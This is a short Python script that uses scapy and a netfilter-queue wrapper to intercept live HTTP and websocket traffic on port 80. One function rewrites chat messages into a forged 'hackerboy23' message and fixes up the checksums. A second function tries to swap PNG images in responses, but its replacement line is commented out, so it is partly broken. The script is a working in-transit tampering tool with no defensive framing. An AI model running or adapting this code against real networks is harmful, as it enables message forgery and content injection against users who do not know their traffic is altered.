70 lines
1.8 KiB
Python
70 lines
1.8 KiB
Python
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from drawbridge import DrawBridge
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from scapy.layers.http import HTTPResponse, HTTP
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from scapy.all import IP, TCP
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from scapy.packet import Raw
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import json
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def modify_websocket_chat(raw_packet):
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pkt = IP(raw_packet)
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tcp0 = pkt.getlayer(TCP)
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try:
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jsonb = bytes(tcp0.payload)[2:]
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if jsonb == b'':
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return raw_packet
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except IndexError:
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return raw_packet
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try:
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json.loads(jsonb.decode("utf-8"))
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except (json.decoder.JSONDecodeError, UnicodeDecodeError):
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return raw_packet
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tcp0.payload = Raw(bytes(tcp0.payload)[:2] + b'{"sender": "hackerboy23", "message": "boom"}')
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del pkt[IP].len
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del pkt[IP].chksum
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del pkt[TCP].chksum
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return bytes(pkt)
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black_png = (
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b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\n\x00\x00'
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b'\x00\n\x08\x06\x00\x00\x00\x8d2\xcf\xbd\x00\x00\x00\x0cIDATx'
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b'\xda\xed\xc1\x01\r\x00\x00\x00\xc2\xa0\xf5H\xfd\x00\x00\x00'
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b'\x00IEND\xaeB`\x82'
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)
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black_payload = HTTP(bytes(
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"HTTP/1.1 200 OK\r\nContent-Type: image/png\r\n\r\n", 'utf-8') + black_png
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)
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black_len = str(len(black_png)).encode()
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def modify_img_request(raw_packet):
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pkt = IP(raw_packet)
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if pkt.haslayer(HTTPResponse):
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http_layer = pkt.getlayer(HTTP)
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http_response = pkt.getlayer(HTTPResponse)
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if http_response.fields.get('Content_Type') == b'image/png':
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print("Found PNG file...")
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# http_layer.payload = black_payload
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pkt.show2()
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if pkt.haslayer(TCP):
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http_layer.fields['Content_Length'] = black_len
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del pkt[TCP].chksum
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del pkt[IP].chksum
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del pkt[IP].len
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else:
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return raw_packet
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return bytes(IP(bytes(pkt)))
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db = DrawBridge()
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db.add_queue(modify_websocket_chat, queue=2, src_port=80)
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db.run()
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